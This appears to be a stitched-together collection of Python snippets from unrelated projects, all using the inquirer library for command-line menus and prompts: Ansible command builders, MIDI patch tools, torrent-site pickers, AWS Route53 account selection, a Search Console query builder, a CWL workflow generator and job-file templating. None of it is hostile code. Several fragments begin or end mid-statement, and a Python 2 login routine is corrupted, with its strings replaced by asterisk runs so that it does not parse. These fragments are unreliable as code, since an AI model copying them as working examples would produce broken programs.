def main(host, user, password): questions = [ Checkbox('tags', message='Tags', choices=get_tags()) ] tags = prompt(questions)['tags'] questions = [] extra_vars, passwords = get_vars(tags) for var in extra_vars: questions.append(Text(var, var)) extra_vars = prompt(questions) for item in passwords: extra_vars[item] = gen_pass() command = [ 'ansible-playbook', '-i %s,' % host, '-t %s' % ','.join(tags) ] if extra_vars: command.append('-e "%s"' % ' '.join(('%s=%s' % (k, v) for k, v in extra_vars.items()))) if user is not None: command.append('-u %s' % user) if password: command.append('-k') command.append('ansible.yml') res = ' '.join(command) pbcopy(res) echo('The follow command has been copied to clipboard:') echo(res)
def setup_component(component, default): try: minion.core.utils.console.console_info(component['description']) except KeyError: minion.core.utils.console.console_warn('Adding component cancelled') questions = [inquirer.Text('name', message='Please name this component (leave blank to cancel)', default=lambda answers: default)] name = inquirer.prompt(questions)['name'] if not name: raise QuestionCancelled questions = component.get('questions', []) configuration_answers = inquirer.prompt(questions) config = { 'name': name, 'class': component['class'], } process_answers = component.get('process_answers', lambda x, y: x) configuration = process_answers(configuration_answers, component) # Only keep if we have anything to save if configuration.keys().__len__(): config['configuration'] = configuration return config
def run(cls, args): package_file_path = os.path.join(os.getcwd(), 'package.json') if os.path.isfile(package_file_path): print("package.json already exists") return print(_instructions) questions = [ inquirer.Text('name', message="name", default=os.getcwd().split(os.sep)[-1]), inquirer.Text('version', message="version", default="1.0.0"), inquirer.Text('description', message="description"), inquirer.Text('git_repo', message="git repository"), inquirer.Text('author', message="author"), inquirer.Text('license', message="license"), ] answers = inquirer.prompt(questions) file_content = OrderedDict() file_content["name"] = answers.get("name") file_content["version"] = answers.get("version") file_content["description"] = answers.get("description") file_content["git_repo"] = answers.get("git_repo") file_content["author"] = answers.get("author") file_content["license"] = answers.get("license") file_content["pythonDependencies"] = {} print(json.dumps(file_content, indent=2)) questions = [inquirer.Text('ok', message="Is this ok?", default="yes"),] answers = inquirer.prompt(questions) if answers["ok"] == "yes": with open(package_file_path, 'w') as outfile: json.dump(file_content, outfile, indent=2) else: print("Aborted.")
def prompt_doit(self, prompt): q = [inquirer.Confirm( 'doit', default=True, message=prompt)] answer = inquirer.prompt(q) return answer['doit']
def flowDirection(orig,options="ALL"): if options=="ALL": userChoices = ['Find a route from {} to someone else'.format(orig), 'Display origin artist statistics', 'Generate a playlist from the path', 'Start over', 'Quit'] elif options=="NO_STAT": userChoices = ['Find a route from {} to someone else'.format(orig), 'Generate a playlist from the path', 'Start over', 'Quit'] else: userChoices = ['Find a route from {} to someone else'.format(orig), 'Display origin artist statistics', 'Start over', 'Quit'] questions = [ inquirer.List('direction', message="Would you like to", choices=userChoices ), ] answers = inquirer.prompt(questions) return answers['direction']
def prompt_preset(self, last_send): def validate_bank(answers, value): try: i = int(value) return i > 0 and i < 51 except ValueError: return False def build_presets(answers): bank = 'U%02d' % int(answers['bank']) return ['%s-%s' % (bank, i) for i in range(1, 5)] q = [ inquirer.Text( 'bank', message='User bank to write patch to (1 to 50)', default=last_send.get('bank'), validate=validate_bank ), inquirer.List( 'preset', message='Preset to write patch to', default=last_send.get('preset'), choices=build_presets ), ] answer = inquirer.prompt(q) last_send.update(answer) return answer
def amend_actuators(settings, isnew): actuator_settings = settings.get('actuators', []) try: removed = add_or_remove(settings, 'actuators') except QuestionCancelled: return 1 else: # This means we went into remove and successed in it if removed is not None: # so back up return None choices, actuators = get_defined_components(minion.core.components.Types.ACTUATOR) choice = prompt_or_cancel(choices, 'Please choose an actuator', 'Adding of actuator cancelled') actuator = actuators[choice] # Ask try: added_component_settings = setup_component(actuator, choice) except QuestionCancelled: return 1 # Specifically for actuators, ask for channel questions = (inquirer.Text('channels', message='Which channels should this actuator listen to? (use default if unsure. use comma-separated values if more than one channel)', default=actuator.get('default_channel', '')),) added_component_settings['channels'] = inquirer.prompt(questions)['channels'].replace(' ', '').split(',') actuator_settings.append(added_component_settings) # Install required python packages install_requirements(actuator) minion.core.utils.console.console_success('Actuator successfully added') return 1
def test_prompt_renders_all_questions(self): question1 = dbx.Stub() question1.name = 'foo' result1 = object() question2 = dbx.Stub() question2.name = 'bar' result2 = object() result = object() with dbx.Spy() as render: render.reset() render.render(question1, {}).returns(result1) render.render(question2, {'foo': result1}).returns(result2) result = prompt([question1, question2], render=render) self.assertEquals({'foo': result1, 'bar': result2}, result) dbx.assert_that( render.render, dbx.called().with_args(question1, dbx.ANY_ARG)) dbx.assert_that( render.render, dbx.called().with_args(question2, dbx.ANY_ARG))
def category_menu(self, category): movie_sites = ["Kickass", "ThePirateBay", "Rarbg", "Cpasbien", "Strike"] series_sites = ["EZTV"] anime_sites = ["Nyaa"] sites = {"movies": movie_sites, "series": series_sites, "anime": anime_sites}.get(category, None) subs = [inquirer.List("site", message="Choose a Provider", choices=sites)] site = inquirer.prompt(subs)["site"].lower() return site
def prompt_api(self, conf): apis = io.get_available_apis() q = [inquirer.List( 'api', default=conf.get('api'), message="Which MIDI API to use to find ports", choices=apis)] answer = inquirer.prompt(q) conf.update(answer)
def display_assessment_menu(self, menu_items): question = inquirer.List('item', message='What assessment do you want to run?', choices=menu_items) choice = inquirer.prompt([question]) if choice is not None: self.item_selected = menu_items.index(choice['item']) else: sys.exit(1)
def ask_filename(): questions = [ inquirer.Text( 'name', message="What is the name of the file?"), ] answer = inquirer.prompt(questions) return answer
def categories_menu(self): categories = ['Movies', 'Series', 'Anime'] subs = [ inquirer.List('category', message='Choose a Category', choices=categories, ), ] category = inquirer.prompt(subs)['category'].lower() return category
def test_prompt_renders_a_questions(self): question1 = doublex.Stub() question1.name = 'foo' result1 = object() with doublex.Mock() as render: render.render(question1, {}).returns(result1) result = prompt([question1], render=render) self.assertEquals({'foo': result1}, result)
def interact(self): import inquirer dialog = [ inquirer.List( EntryPointsOption.label(), message="Choose analysis entry points", choices=EntryPointsOption.messages(), ), ] self.options = inquirer.prompt(dialog)
def test_prompt_renders_a_questions(self): question1 = dbx.Stub() question1.name = 'foo' result1 = object() with dbx.Mock() as render: render.render(question1, dbx.ANY_ARG).returns(result1) result = prompt([question1], render=render) self.assertEquals({'foo': result1}, result) dbx.assert_that(render, dbx.verify())
def ask_questions(): questions = [ inquirer.List( "type", message="What do you want to create?", choices=["stylesheet"], ), ] answer = inquirer.prompt(questions) return answer
def selectArtist(searchResults): searchResults=distinguishDups(searchResults) questions = [ inquirer.List('searched', message="Search complete! Our best guesses", choices=searchResults+["Not here? Search again."] ), ] answers = inquirer.prompt(questions) print(answers['searched']) return answers['searched']
def prompt_out(self, outs): q = [ inquirer.List( 'out', message="Sort to file", default=outs[0], choices=outs, ), ] answer = inquirer.prompt(q) return answer['out']
def add_or_remove(settings, key): type_settings = settings.get(key, []) if type_settings.__len__(): questions = (inquirer.List('add_or_remove', choices=['Add', 'Remove']),) choice = inquirer.prompt(questions)['add_or_remove'] if choice == 'Remove': # Will raise questions cancelled remove_component(settings, key) return 1 return None
def test_prompt_renders_a_questions(self): question1 = MagicMock() question1.name = 'foo' result1 = object() render = Mock() render.render.return_value = result1 result = prompt([question1], render=render) self.assertEqual({'foo': result1}, result) self.assertTrue(render.render.called) render.render.call_args_list[0][0] == result1
def prompt_patch(self, last_send, patches): q = [ inquirer.List( 'patch', message="Patch to send", default=last_send.get('patch'), choices=patches, ), ] answer = inquirer.prompt(q) last_send.update(answer) return answer
def remove_component(settings, key): component_settings = settings.get(key, []) choices = [x['name'] for x in component_settings] + ['Cancel'] questions = (inquirer.List('choice', message='Which component would you like to remove?', choices=choices),) answer = inquirer.prompt(questions)['choice'] if answer == choices[-1]: minion.core.utils.console.console_warn('No component was removed') raise QuestionCancelled filtered_settings = filter(lambda x: x['name'] != answer, component_settings) settings[key] = filtered_settings minion.core.utils.console.console_success('Component <{}> removed'.format(answer))
def prompt_or_cancel(choices, message, cancel_message): questions = ( inquirer.List( 'choice', message=message, choices=choices ), ) answers = inquirer.prompt(questions) choice = answers['choice'] # Handle cancellation if choice == choices[-1]: minion.core.utils.console.console_warn(cancel_message) raise QuestionCancelled return choice
def category_menu(self, category): movie_sites = ['Yts', 'Kickass', 'ThePirateBay', 'Rarbg', 'Cpasbien', 'Strike'] series_sites = ['EZTV'] anime_sites = ['Nyaa'] sites = {'movies': movie_sites, 'series': series_sites, 'anime': anime_sites }.get(category, None) subs = [ inquirer.List('site', message='Choose a Provider', choices=sites, ), ] site = inquirer.prompt(subs)['site'].lower() return site
def test_keyboard_interrupt_finalizes(self): question1 = dbx.Stub() question1.name = 'foo' question2 = dbx.Stub() question2.name = 'bar' with dbx.Mock() as render: render.reset() render.render(question1, dbx.ANY_ARG).raises(KeyboardInterrupt) render.render(question2, dbx.ANY_ARG) result = prompt([question1, question2], render=render) self.assertIsNone(result) dbx.assert_that( render.render, is_not(dbx.called().with_args(question2, dbx.ANY_ARG)))
def prompt_mutate(self, last_action): actions = [ 'Mutate', ] if last_action != 'Save': actions.insert(0, 'Save') if len(self.stack_liveset.patches) > 1: actions.append('Revert') actions.append('Quit') q = [ inquirer.List( 'action', message="Next action", default=last_action, choices=actions, ), ] answer = inquirer.prompt(q) return answer['action']
def main_question(settings, isnew): # TODO Update questions with a tick on nervous system and a count on the rest if isnew: message = 'We suggest you go through each of the 4 steps below one by one' else: message = 'What would you like to do?' questions = ( inquirer.List( 'main', message=message, choices=MAIN_QUESTIONS ), ) answer = inquirer.prompt(questions)['main'] index = MAIN_QUESTIONS.index(answer) return NEXT[index]
def main(): """ Entry point """ opt = docopt(__doc__, version="0.0.1") opts = (opt["--search"], int(opt["--pages"]), opt['--type']) search = execute_search(*opts) if not opt['--interactive']: if opt['--stream']: print("--stream requires --interactive") return for (url, qst) in search: print("{} - {}".format(url, qst)) else: ter = Terminal() results = {b[:ter.width - 4]: a for a, b in search} questions = [inquirer.List('Torrent', message="Choose a torrent", choices=results.keys())] answers = inquirer.prompt(questions) if opt['--stream']: utils.await_stream(results[answers['Torrent']]) else: print(results[answers['Torrent']])
def prompt_ports(self, conf): print('Looking for ports...') ports_in = io.get_input_ports() ports_out = io.get_output_ports() if not ports_in: raise Exception("No MIDI receiving ports found.") if not ports_out: raise Exception("No MIDI sending ports found.") q = [ inquirer.List( 'port_in', default=conf.get('port_in'), message="Which MIDI port for receiving?", choices=ports_in), inquirer.List( 'port_out', default=conf.get('port_out'), message="Which MIDI port for sending?", choices=ports_out), ] answer = inquirer.prompt(q) conf.update(answer)
else: print("Connection not available") selection = [ inquirer.List( 'detection', message="What object you want to detect?", choices=[ "car", "bus", "bicycle", "motorbike", "person", "boat", "cat", "dog", "cow", "sheep", "bird", "botle" ], ) ] print("[INFO] Press Enter to Sellect") answers = inquirer.prompt(selection, theme=GreenPassion()) objex = ''.join(answers['detection']) a = objex.split(",") ab = "total " + a[0] print( "[INFO] Prototxt file(by default its set to (mobilenet_ssd/MobileNetSSD_deploy.prototxt)" ) print( "[INFO] Caffe pre-trained model file(by default its set to (mobilenet_ssd/MobileNetSSD_deploy.caffemodel)" ) print( "[INFO] Select Video Input(if you not selected any video file it will start webcam stream)"
def main(): workflowName = sys.argv[1] listOfNames = sys.argv[2:] # Get information about workflow from the user questions = [ inquirer.Text( 'label', message= "Please provide some information about the workflow you are creating" ) ] answers = inquirer.prompt(questions) # Initialize the tool we want to build cwl_tool = cwlgen.Workflow(workflow_id=os.path.splitext(workflowName)[0], label=answers['label'], cwl_version='v1.1') # Parse CLT tools which were provided on the command line to get a list of inputs and outputs CLT_Inputs = {} CLT_Outputs = {} for i in listOfNames: with open(os.path.abspath(i), 'r') as cwl_file: cwl_dict = yaml.safe_load(cwl_file) try: if not isinstance(cwl_dict.get('inputs'), dict) or not isinstance( cwl_dict.get('outputs'), dict): print( "Your CWL files are not all of the same format. Please use ToolJig to make sure they all" " have the same format.") sys.exit() else: CLT_Inputs[i] = cwl_dict['inputs'] CLT_Outputs[i] = cwl_dict['outputs'] except AttributeError: pass # Declare first step of our Workflow (cwl_tool) step = cwlgen.workflow.WorkflowStep(step_id=os.path.splitext( listOfNames[0])[0], run=listOfNames[0]) # Parse the inputs of the first file to save as Workflow inputs workflowInputs = [] for item in CLT_Inputs[listOfNames[0]]: input_Info = cwlgen.workflow.InputParameter( param_id=item, label=CLT_Inputs[listOfNames[0]][item].get('label'), doc=CLT_Inputs[listOfNames[0]][item].get('doc'), param_type=CLT_Inputs[listOfNames[0]][item].get('type')) cwl_tool.inputs.append(input_Info) idToShow = { 'ID': item, 'Label': CLT_Inputs[listOfNames[0]][item].get('label'), 'Type': CLT_Inputs[listOfNames[0]][item].get('type') } workflowInputs.append(idToShow) step_inputs = cwlgen.WorkflowStepInput(input_id=item, source=item) step.inputs.append(step_inputs) # Get outputs of first step and append it to the whole workflow for y in CLT_Outputs[listOfNames[0]]: step_outputs = cwlgen.WorkflowStepOutput(output_id=y) step.out.append(step_outputs) cwl_tool.steps.append(step) # LARGE LOOP: Make the steps and designate how inputs and outputs fit together ------------------------------------- for i in range(0, len(listOfNames)): # Get outputs from "i" step that are of the type Directory or File prevStepOutputs = CLT_Outputs[listOfNames[i]] importantOutputs = [] for j in prevStepOutputs: idToAdd = {'id': j} idToAdd.update(prevStepOutputs[j]) importantOutputs.append(idToAdd) # Get inputs from the "i+1" step that are of type Directory or File nextInputs = [] importantInputs = [] try: nextInputs = CLT_Inputs[listOfNames[i + 1]] step = cwlgen.workflow.WorkflowStep(step_id=os.path.splitext( listOfNames[i + 1])[0], run=listOfNames[i + 1]) except: # This is at the end, when the last outputs are workflow outputs, designate them as such for x in importantOutputs: output = cwlgen.workflow.WorkflowOutputParameter( param_id=x.get('id'), doc=x.get('doc'), param_type=x.get('doc'), output_source=os.path.splitext(listOfNames[i])[0]) cwl_tool.outputs.append(output) for k in nextInputs: if nextInputs[k]['type'] == 'File' or nextInputs[k][ 'type'] == 'Directory': idToAdd = {'id': k} idToAdd.update(nextInputs[k]) importantInputs.append(idToAdd) # Logic for matching inputs and outputs if len(importantInputs) == len(importantOutputs) and len( importantInputs) == 1: step_inputs = cwlgen.WorkflowStepInput( input_id=importantOutputs[0].get('id'), source=listOfNames[i] + "/" + importantOutputs[0].get('id')) step.inputs.append(step_inputs) elif len(importantInputs) != len(importantOutputs) or len( importantInputs) != 1 or len(importantOutputs) != 1: for m in importantInputs: # Declare variables ---------------------------------------------- first_index = 0 externalInputToName = 'It is an external input that has yet to be referenced' previousOutput = 'It is the output of the workflow, but not the most recently previous step' # Provide options ---------------------------------------------- print("Input ", importantInputs.index(m) + 1, "/", len(importantInputs), "of Command Line File ", i + 1, "/", len(listOfNames)) print( "Your inputs and outputs don't match. Please specify where this input should be retrieved from:", m) print("") options = ['It is the output of the previous step:'] for t in importantOutputs: options.append(t) first_index = first_index + 1 if cwl_tool.inputs: options.append( 'It is an external input that already exists:') for y in workflowInputs: options.append(y) captions = [ 0, first_index + 1, first_index + len(cwl_tool.inputs) + 2 ] else: captions = [0, first_index + 1 ] # This gets the first line and "other" options.append('Other') options.append(externalInputToName) options.append(previousOutput) selection = options[cutie.select(options, caption_indices=captions)] # Logic for selection ---------------------------------------------- if selection == externalInputToName: questions = [ inquirer.Text( 'newID', message="What is the ID of the new input?"), inquirer.Text( 'newLabel', message="What is the label of the new input?") ] answers = inquirer.prompt(questions) # add it as a master input input_Info = cwlgen.workflow.InputParameter( param_id=answers.get('newID'), label=answers.get('newLabel'), param_type=m.get('type')) cwl_tool.inputs.append(input_Info) idToShow = { 'ID': answers.get('newID'), 'Label': answers.get('newLabel'), 'Type': m.get('type') } workflowInputs.append(idToShow) # add it as a step input step_inputs = cwlgen.WorkflowStepInput( input_id=answers.get('newID'), source=answers.get('newID')) elif selection == previousOutput: print( "\nPlease select which previous output corresponds to your input:" ) listOfAllOutputs = [] for o in range(0, i + 1): for output in CLT_Outputs.get(listOfNames[o]): toAdd = {'ID': output, 'From step': listOfNames[o]} toAdd.update( CLT_Outputs.get(listOfNames[o])[output]) listOfAllOutputs.append(toAdd) selection = listOfAllOutputs[cutie.select( listOfAllOutputs)] step_inputs = cwlgen.WorkflowStepInput( input_id=selection['ID'], source=selection['From step'] + "/" + selection['ID']) elif selection in workflowInputs: print(selection) step_inputs = cwlgen.WorkflowStepInput( input_id=selection.get('ID'), source=selection.get('ID')) else: step_inputs = cwlgen.WorkflowStepInput( input_id=m.get('id'), source=listOfNames[i] + "/" + selection.get('id')) step.inputs.append(step_inputs) try: for y in CLT_Outputs[listOfNames[i + 1]]: step_outputs = cwlgen.WorkflowStepOutput(output_id=y) step.out.append(step_outputs) except: pass cwl_tool.steps.append(step) cwl_tool.export(workflowName)
def query_builder() -> str: typer.secho( """ FORMATTING AND TIPS GENERAL FORMATTING [Tip] You are not supposed to answer questions if it is not [REQUIRED] If you want to skip that question, just press space then enter. URL [Formatting: sc-domain:example.com or https://example.com] DATES [Formatting] Dates are in YYYY-MM-DD format. [Example] 23 march 2020 | 2020-03-10 | 2 weeks and 4 months ago FILTERS [Formatting] If you want to add multiple filters split them by ',' [Example] country equals FRA, device notContains tablet [Suggested Format] dimensions, operator, expression GRANULARITY Granularity specifies the frequency of the data, higher frequency means higher response time. [Examples] If you specify 'monday' seoman returns results only from mondays between start date and end date. [Examples] If you specify 'fivedaily' it splits your date range by 5 then runs unique queries. if your start date is 2020-03-10 and the end date is 2020-04-10 it first sends query for 03-10 to 03-15 then 03-15 to 03-20 then merges them all. DIMENSIONS [Valid Parameters] page, query, date, device, country | for simplicity you can type 'all' to include all of them. EXPORT TYPE [Valid Parameters] excel, csv, json, tsv. ROW LIMIT [Valid Parameters] Must be a number from 1 to 25000. START ROW [Valid Parameters] Must be a non-negative number. """, fg=typer.colors.BRIGHT_GREEN, bold=True, ) questions = [ inquirer.Text("url", message="[Required] The site's URL"), inquirer.Text( "start_date", message="[Required] Start date of the requested date range", ), inquirer.Text( "end_date", message="[Required] End date of the requested date range", ), ] answers = inquirer.prompt(questions) url = answers.get("url", "") start_date = answers.get("start_date", "") end_date = answers.get("end_date", "") questions = [ inquirer.List( "dimensions", message= "Which dimensions of Search Analytics you would like to group by?", choices=[ "all [date, query, page, device, country]", "keywords & pages [date, query, page]", "by devices [date, device]", "by countries [date, countries]", "custom [Choose from: date - query - page - device - country]", ], ), ] answers = inquirer.prompt(questions) if (answers.get("dimensions") == "custom [Choose from: date - query - page - device - country]"): questions = [ inquirer.Checkbox( "dimensions", message= "Which dimensions of Search Analytics you would like to group by?", choices=["date", "query", "page", "country", "device"], ), ] answers = inquirer.prompt(questions) dimensions = answers.get("dimensions", []) else: dimensions = answers.get("dimensions", "") questions = [ inquirer.Text( "filters", message= "Zero or more groups of filters to apply to the dimension grouping values", ), inquirer.Text( "start_row", message="First row of the response [Known as start-row]", ), inquirer.Text( "row_limit", message="The maximum number of rows to return [0-25000]", ), inquirer.List( "search_type", message="The search type to filter for", choices=["web", "image", "video"], default="web", ), inquirer.List( "export", message="The export type for the results", choices=["xlsx", "csv", "json", "tsv"], ), ] answers = inquirer.prompt(questions) filters = answers.get("filters", "") start_row = answers.get("start_row", "") row_limit = answers.get("row_limit", "") search_type = answers.get("search_type", "") export = answers.get("export", "") query: Dict[str, Dict[str, Any]] = {"query": {}} all_dimensions = ["page", "query", "date", "device", "country"] if len(url) > 5: query["query"].update({"url": url}) if start_date.strip() != "": query["query"].update( {"start-date": process_date(dt=start_date, which_date="start")}) if end_date.strip() != "": query["query"].update( {"end-date": process_date(dt=end_date, which_date="end")}) if isinstance(dimensions, str): if dimensions == "all [date, query, page, device, country]": query["query"].update( {"dimensions": ["date", "query", "page", "device", "country"]}) elif dimensions == "keywords & pages [date, query, page]": query["query"].update({"dimensions": ["date", "query", "page"]}, ) elif dimensions == "by devices [date, device]": query["query"].update({"dimensions": ["date", "device"]}, ) elif dimensions == "by country [date, country]": query["query"].update({"dimensions": ["date", "country"]}, ) else: query["query"].update({"dimensions": [dim for dim in dimensions]}) if filters.strip() != "": query["query"].update( {"filters": [filt for filt in filters.split(",")]}) if start_row.strip() != "" and start_row.isnumeric(): query["query"].update({"start-row": start_row}) if row_limit.strip() != "" and row_limit.isnumeric(): if int(row_limit) >= 25000: row_limit = "25000" query["query"].update({"row-limit": row_limit.strip()}) if search_type.strip() != "": query["query"].update({"search-type": search_type.strip().lower()}) if export.strip() != "": query["query"].update({"export-type": export}) typer.secho("\nYour query is ready\n", fg=typer.colors.BRIGHT_GREEN, bold=True) filename = typer.prompt("Give a name to your query") + ".toml" folder_path = Path.home() / ".queries" file_path = Path.home() / ".queries" / Path(filename) if not Path(folder_path).exists(): Path(folder_path).mkdir(exist_ok=False) if not Path(file_path).exists(): with open(file_path, "w") as file: toml.dump(query, file) return filename else: new_name = typer.prompt( "File name already exists, enter a new name.") + ".toml" file_path = Path.home() / ".queries" / Path(new_name) if not Path(file_path).exists(): with open(file_path, "w") as file: toml.dump(query, file) return new_name
import os.path import random from HashTable import HashTable from Data_Generator import Data_Generator print(sys.version) ##COLLISION questions = [ inquirer.List( 'collision', message="Scegli come vuoi gestire le collisioni", choices=['open', 'chain'], ), ] collision = inquirer.prompt(questions) ##KEYS print("Inserire QUANTE keys m") m = input() ##VALUES if (collision['collision'] == 'open'): print("Inserire QUANTI valori n, LEN(N) <= M") else: print("Inserire QUANTI valori n") n_values = input() questions = [ inquirer.List(
conf = configparser.ConfigParser() configfile = os.path.expanduser('~/.aws/config') conf.read(configfile) acctchoices = conf.sections() os.system('clear') # Choose source account accounts = [ inquirer.List( 'srcacct', message="Choose the source account", choices=acctchoices, ), ] accountselections = inquirer.prompt(accounts) srcprofile = accountselections["srcacct"].replace("profile ", "") # Start srcaccount session srcsession = boto3.Session(profile_name=srcprofile) srcr53client = srcsession.client('route53') # Get list of Hosted Zones from source account try: hostedzones = srcr53client.list_hosted_zones() srczonenamelist = [] srczonenamedict = {} for zone in hostedzones['HostedZones']: zname = zone['Name'] zid = zone['Id'].replace("/hostedzone/", "")
def add_option(options_list: list): question = inquirer.prompt( [inquirer.Text(name="option", message="Enter an option")]) options_list.append(question["option"]) os.system("clear") return options_list
def config_setter() -> None: """Function that sets the config file""" clear_screen() load_config() load_preference() dict_options = { "username": config["username"], "password": config["password"], "player": preference["player"], "browser": preference["browser"], "download_dir": preference["download_dir"], "video_download_dir": preference["video_download_dir"], "watch_video_resolution": preference["watch_video_resolution"], "download_video_resolution": preference["download_video_resolution"], } list_options = [[k, v] for k, v in dict_options.items()] print( tabulate(list_options, headers=["type", "Cur. Value"], tablefmt="pretty")) def resolve_value(answer): if answer["option"] != "Exit": return f"Current Value : {dict_options[answer['option']]} -> New Value " clear_screen() sys.exit(0) def confirm_value(answer): return f"Confirm < {dict_options[answer['option']]} -> {answer['value']} > " def post_validate(answer, current): response = True if current == "Yes": if answer["option"] in ("username", "password"): config[answer["option"]] = answer["value"] write_config() elif answer["option"] in ( "player", "browser", "watch_video_resolution", "download_video_resolution", ): preference[answer["option"]] = answer["value"] write_preference() else: if os.path.exists(answer["value"]): preference[answer["option"]] = answer["value"] write_preference() # else: # response = False return response questions = [ inquirer.List( "option", message="<< OPTIONS >> ", choices=[*list(dict_options.keys()), "Exit"], ), inquirer.Text("value", message=resolve_value), inquirer.List( "commit", message=confirm_value, choices=["Yes", "No"], validate=post_validate, default=False, ), inquirer.List("postExit", message="Edit / Quit ", choices=["Edit", "Quit"]), ] answer = inquirer.prompt(questions, theme=GreenPassion()) if answer and answer["postExit"] == "Edit": config_setter() print("\nConfiguration Saved... Enter to continue...") input() clear_screen() sys.exit(0)
def prompt(question): return inquirer.prompt([question])
def process(): """ Returns a rendered template, based on questions from inquirer as a string to stdout """ try: cluster_scratch_root except NameError: cluster_scratch_root = '/cluster/scratch' # Templates relative to the package templates_dir = path.join(path.dirname(jobbers.femfat.__file__), 'templates') template_files = glob.glob(os.path.join(templates_dir, 'femfat_*.j2')) versions = ['5.3.1', '5.3', '5.2b', '5.2a', '5.2'] inifile = 'femfat.ini' def get_inputfile(path, ext): inputfiles = [] for file in os.listdir(path): if file.endswith(ext): inputfiles.append(os.path.join(path, file)) return inputfiles current_dir = os.getcwd() inputfiles = get_inputfile(current_dir, '.ffj') ### Ask questions questions = [ inquirer.List( 'versions', message="What Femfat version to use?", choices=versions, default='5.3', ), inquirer.List( 'inputfiles', message="Choose inputfile", choices=inputfiles, ), inquirer.List( 'template', message="Which template shall be used?", choices=template_files, ), inquirer.Confirm( 'starttime', message="Do you want to set a starttime?", default=False, ), ] answers = inquirer.prompt(questions) if answers.get("starttime") == True: if 'slurm' in answers.get("template"): workloader = [ inquirer.Text( 'start', message= "YYYY-MM-DD[THH:MM[:SS]], E.g. 2019-05-20T19:30:00?", ), ] workload_answers = inquirer.prompt(workloader) start = '#SBATCH --begin=' + workload_answers["start"] if 'lsf' in answers.get("template"): workloader = [ inquirer.Text( 'start', message="[[year:][month:]day:]hour:minute?", ), ] workload_answers = inquirer.prompt(workloader) start = '#BSUB -b ' + workload_answers["start"] else: start = '' version = answers.get("versions") jobname = answers.get("inputfiles") inputfile = os.path.basename(jobname) jobname = os.path.splitext(inputfile)[0] # Check for existing femfat.ini file # and ask if overwrite the file if os.path.isfile(inifile): overwrite_file = [ inquirer.Confirm( 'overwrite', message="Do you want to overwrite existing {} file?".format( inifile), default=False, ), ] overwrite_ini = inquirer.prompt(overwrite_file) overwrite = overwrite_ini.get('overwrite') else: overwrite = 'True' if overwrite: template_ini = glob.glob(os.path.join(templates_dir, 'femfat.ini.j2')) template_ini = ''.join(template_ini) with open(template_ini) as file_: template = jinja2.Template(file_.read()) femini = template.render(version=version) try: f = open(inifile, 'w') f.write(femini) f.close() except: print('Error writing file {}'.format(inifile)) TEMPLATE_FILE = answers['template'] with open(TEMPLATE_FILE) as file_: template = jinja2.Template(file_.read()) outputText = template.render( answers=answers, version=version, inputfile=inputfile, jobname=jobname, start=start) # this is where to put args to the template renderer try: f = open('{}.job'.format(jobname), 'w') f.write(outputText) f.close() except: print('Error writing jobfile!') return outputText
# iDetector (Desktop version) by alombi. Version 1.0. # This version works only on Macs import bs4, requests import inquirer print('\n\nWelcome to the desktop version of iDetector! You are running the 1.0 version, which correspond to the iOS version 1.7\n') #Zone request questions = [inquirer.List('zone', message = 'Choose the zone', choices = ['Argentina', 'Australia', 'Belgium', 'Brasil', 'Canada', 'Denmark', 'France', 'Germany', 'Hong Kong', 'Italy', 'Japan', 'Mexico', 'Netherlands', 'Norway', 'Poland', 'Portugal', 'Russia', 'Spain', 'Sweden', 'UK', 'USA' ] ), ] answers = inquirer.prompt(questions) print(answers['zone']) if answers['zone'] == 'Italy': link = 'https://downdetector.it/problemi/' green = 'Non problemi' yellow = 'Potenziali problemi' red = 'Problemi' elif answers['zone'] == 'USA': link = 'https://downdetector.com/status/' green = 'No problems' yellow = 'Possible problems' red = 'Problems' elif answers['zone'] == 'UK': link = 'https://downdetector.co.uk/status/' green = 'No problems' yellow = 'Possible problems' red = 'Problems' elif answers['zone'] == 'France': link = 'https://downdetector.fr/statut/' green = 'Aucun problème' yellow = 'Panned potentielles'
def main(): clearscreen() if len(sys.argv) == 2: if sys.argv[1] == '-c': while (1): print 'Enter new to create new user' username = raw_input("username: "******"username: "******"password: "******"password: "******"Which cloud storage do you want to connect?", choices=['Google', 'Dropbox']), ] cloud_type = inquirer.prompt(questions)['drive type'] if cloud_type == 'Google': get_token(userID) elif cloud_type == 'Dropbox': dp_get_token(userID) elif action == 'Connect to drive': account_dict, account_name, account_type = account_selection( userID) if account_type == 'google': google_main(account_dict, account_name, userID) if account_type == 'dropbox': start_raspberry_cloud( 's', decrypt_string( account_dict[account_name]['token']), userID) elif len(sys.argv) == 1: global nameEL global pwordEL # More globals :D global rootA global frame rootA = Tk() # This now makes a new window. frame = Frame(rootA) frame.grid() rootA.title('Login') # This makes the window title 'login' intruction = Label( frame, text='Please Login\n') # More labels to tell us what they do intruction.grid(sticky=E) # Blahdy Blah nameL = Label(frame, text='Username: '******'Password: '******'*') nameEL.grid(row=1, column=1) pwordEL.grid(row=2, column=1) loginB = Button( frame, text='Login', command=CheckLogin ) # This makes the login button, which will go to the CheckLogin def. loginB.grid(row=3, column=0, sticky=W) signupB = Button( frame, text='signup', command=signup ) # This makes the login button, which will go to the CheckLogin def. signupB.grid(row=3, column=1, sticky=W) frame.mainloop()
def menu(): questions = [ inquirer.List('action', choices=['Connect to drive', 'oauth']), ] acution = inquirer.prompt(questions) return acution['action']
parser.add_argument('--start', type=int, default=0) parser.add_argument('--end', type=int, default=-1) parser.add_argument('-t', '--test-size', type=int, default=1000, help='Do pertubations on `test-size` samples') parser.add_argument('--use-old', action='store_true') parser.add_argument('--baselines', action='store_true') args = parser.parse_args() # Disable console prints logger.handlers[0].setLevel(30) model_keys = [k for k in models.keys()] model_keys.sort() questions = [ inquirer.Checkbox( 'models', message="Which models to run?", choices=model_keys, ), ] selected_models = inquirer.prompt(questions)['models'] print(selected_models) # Call config selection with gathered arguments run_model(selected_models, **vars(args))
def action_cancel(): # do nothing pass if __name__ == '__main__': options = OrderedDict([(build_docker_image, action_build_docker_image), (create_app, action_create_app), (ionic_serve, action_ionic_serve), (internal_runner_script, action_internal_runner_script), (start_bash, action_start_bash), (cancel, action_cancel)]) questions = [ inquirer.List('selection', message="Welche Aktion soll ausgeführt werden?", choices=list(options)) ] try: answer = inquirer.prompt(questions, raise_keyboard_interrupt=True) target = answer['selection'] options[target]() except KeyboardInterrupt: pass
